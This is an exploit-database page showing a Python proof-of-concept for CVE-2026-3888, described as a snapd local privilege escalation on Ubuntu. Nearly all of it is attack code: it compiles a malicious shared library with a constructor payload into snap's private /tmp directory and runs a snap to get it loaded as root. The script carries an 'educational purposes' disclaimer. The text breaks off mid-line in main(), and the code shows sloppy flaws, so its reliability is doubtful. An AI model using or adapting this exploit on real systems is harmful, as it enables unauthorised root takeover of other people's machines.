Exploit databaseDownload repository ZIP
GH-39efc0b55d146dd67c1a88773a074c09
fevar54/cve-2026-3888-poc-all-from-the-qualys-platform.
Sources for CVE-2026-3888
8 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files4
fevar54/cve-2026-3888-poc-all-from-the-qualys-platform.Revision e7974c7cb709
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
cve_2026_3888_poc.py
Suggested starting filePython · 8,442 bytes#!/usr/bin/env python3
"""
PoC for CVE-2026-3888: Local Privilege Escalation in snapd
Author: Tu Nombre
Description: This script demonstrates a race condition vulnerability in snapd that
allows a local, unprivileged user to gain root privileges. The exploit works by
recreating snap's private /tmp directory after it's cleaned up by systemd-tmpfiles,
and tricking snap-confine into bind-mounting malicious files into the snap's
sandbox.
DISCLAIMER: For educational and authorized security testing purposes only.
"""
import os
import sys
import time
import subprocess
import shutil
import argparse
# --- Constants ---
SNAP_PRIVATE_TMP = "/tmp/.snap"
# The file we will create inside the malicious directory.
# It will be bind-mounted as root inside the snap's namespace.
# We'll use a shared library (.so) to get code execution.
# The name should match a library a common snap might try to load.
# For this PoC, we'll target a generic library name.
MALICIOUS_LIB_NAME = "libpthread.so.0"
# Path to our malicious library inside the recreated directory
MALICIOUS_LIB_PATH = os.path.join(SNAP_PRIVATE_TMP, MALICIOUS_LIB_NAME)
# C code for our malicious shared library
# This simple library will create a file owned by root in /tmp as proof.
MALICIOUS_LIB_C_CODE = f"""
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
// This function will be called when the library is loaded.
__attribute__((constructor))
void init() {{
// A simple action to prove we got root.
// We create a file in /tmp with the output of 'id'.
FILE *fp = fopen("/tmp/pwn.txt", "w");
if (fp) {{
fprintf(fp, "CVE-2026-3888 PWNED!\\n");
fflush(fp);
// Execute 'id' and write the output to the file
fp = popen("id", "r");
if (fp) {{
char buffer[128];
FILE *pwn_fp = fopen("/tmp/pwn.txt", "a");
if (pwn_fp) {{
while (fgets(buffer, sizeof(buffer), fp) != NULL) {{
fputs(buffer, pwn_fp);
}}
fclose(pwn_fp);
}}
pclose(fp);
}}
}}
}}
"""
def check_vulnerability():
"""
Checks if the system is likely vulnerable to CVE-2026-3888.
"""
print("[*] Checking system for vulnerability...")
# Check if we are on Ubuntu
try:
with open("/etc/os-release", "r") as f:
os_info = f.read()
if "ubuntu" not in os_info.lower():
print("[-] This system is not Ubuntu. The exploit may not work.")
return False
except FileNotFoundError:
print("[-] Could not determine OS version.")
return False
# Check if snapd is installed and running
if not shutil.which("snap"):
print("[-] 'snap' command not found. snapd is not installed.")
return False
try:
subprocess.run(["snap", "version"], check=True, capture_output=True)
print("[+] snapd is installed and running.")
except (subprocess.CalledProcessError, FileNotFoundError):
print("[-] 'snap' command failed. snapd might not be running correctly.")
return False
# Check if the private tmp directory exists
if os.path.exists(SNAP_PRIVATE_TMP):
print(f"[+] Found snap's private tmp directory at {SNAP_PRIVATE_TMP}")
print("[!] The directory exists. This means the cleanup window hasn't passed yet.")
print("[!] The exploit will only work after systemd-tmpfiles deletes this directory.")
print("[!] This happens after 30 days on Ubuntu 24.04, or 10 days on later versions.")
print("[!] You can simulate the cleanup by running: sudo rm -rf {SNAP_PRIVATE_TMP}")
return "wait_for_cleanup"
else:
print(f"[-] Snap's private tmp directory {SNAP_PRIVATE_TMP} not found.")
print("[!] This is the expected state for exploitation. Proceeding.")
return True
def create_malicious_library():
"""
Compiles the C code into a malicious shared library.
"""
print(f"[*] Creating malicious library at {MALICIOUS_LIB_PATH}...")
# Check for a C compiler
if not shutil.which("gcc"):
print("[-] 'gcc' not found. Cannot compile the payload.")
return False
# Create the parent directory if it doesn't exist
os.makedirs(os.path.dirname(MALICIOUS_LIB_PATH), exist_ok=True)
# Write the C code to a temporary file
c_file_path = "/tmp/payload.c"
with open(c_file_path, "w") as f:
f.write(MALICIOUS_LIB_C_CODE)
# Compile the C code into a shared library
compile_command = [
"gcc",
"-shared",
"-fPIC",
"-o", MALICIOUS_LIB_PATH,
c_file_path
]
try:
subprocess.run(compile_command, check=True)
print("[+] Malicious library created successfully.")
os.remove(c_file_path) # Clean up
return True
except subprocess.CalledProcessError as e:
print(f"[-] Failed to compile malicious library: {e}")
return False
def trigger_exploit():
"""
Triggers the vulnerable snap application to load our malicious library.
"""
print("[*] Triggering the exploit...")
print("[*] Attempting to run a snap application (e.g., 'hello-world')...")
# We need to find a snap that is installed. 'hello-world' is a common one.
# If it's not installed, we try to list others.
target_snap = "hello-world"
try:
# Check if the snap is installed
subprocess.run(["snap", "list", target_snap], check=True, capture_output=True)
except (subprocess.CalledProcessError, FileNotFoundError):
print(f"[-] Snap '{target_snap}' not found. Trying to find another snap...")
try:
result = subprocess.run(["snap", "list"], check=True, capture_output=True, text=True)
# Parse the output to find another snap name
lines = result.stdout.splitlines()
if len(lines) > 1:
# Skip header and get the first snap's name
target_snap = lines[1].split()[0]
print(f"[*] Found alternative snap: '{target_snap}'")
else:
print("[-] No snaps found to trigger the exploit.")
return False
except (subprocess.CalledProcessError, FileNotFoundError):
print("[-] Could not list snaps. Cannot trigger exploit.")
return False
try:
# Run the snap. This should cause snap-confine to bind-mount our malicious library.
# The command itself doesn't matter, as the library's constructor runs on load.
# We run it in the background and give it a moment to load.
print(f"[*] Running snap '{target_snap}' to trigger the payload...")
subprocess.Popen(["snap", "run", target_snap])
time.sleep(3) # Give it a moment to execute
# Check for our proof file
if os.path.exists("/tmp/pwn.txt"):
print("[+] SUCCESS! Exploit worked.")
with open("/tmp/pwn.txt", "r") as f:
print("[+] Proof of execution:")
print(f.read())
return True
else:
print("[-] FAILED! Could not find proof file '/tmp/pwn.txt'.")
print("[-] The exploit might have failed or the race condition was not won.")
return False
except Exception as e:
print(f"[-] An error occurred while triggering the exploit: {e}")
return False
def cleanup():
"""
Cleans up the files created during the exploit.
"""
print("\n[*] Cleaning up...")
if os.path.exists(SNAP_PRIVATE_TMP):
shutil.rmtree(SNAP_PRIVATE_TMP)
print(f"[*] Removed directory {SNAP_PRIVATE_TMP}")
if os.path.exists("/tmp/pwn.txt"):
os.remove("/tmp/pwn.txt")
print("[*] Removed proof file /tmp/pwn.txt")
def main():
parser = argparse.ArgumentParser(description="PoC for CVE-2026-3888 (snapd LPE)")
parser.add_argument("--cleanup", action="store_true", help="Clean up exploit artifacts.")
args = parser.parse_args()
if args.cleanup:
cleanup()
sys.exit(0)
print("=" * 60)
print("CVE-2026-3888 - snapd Local Privilege Escalation PoC")
print("=" * 60)
# Step 1: Check for vulnerability
vuln_status = check_vulnerability()
if not vuln_status:
sys.exit(1)
if vuln_status == "wait_for_cleanup":
print("\n[!] Exp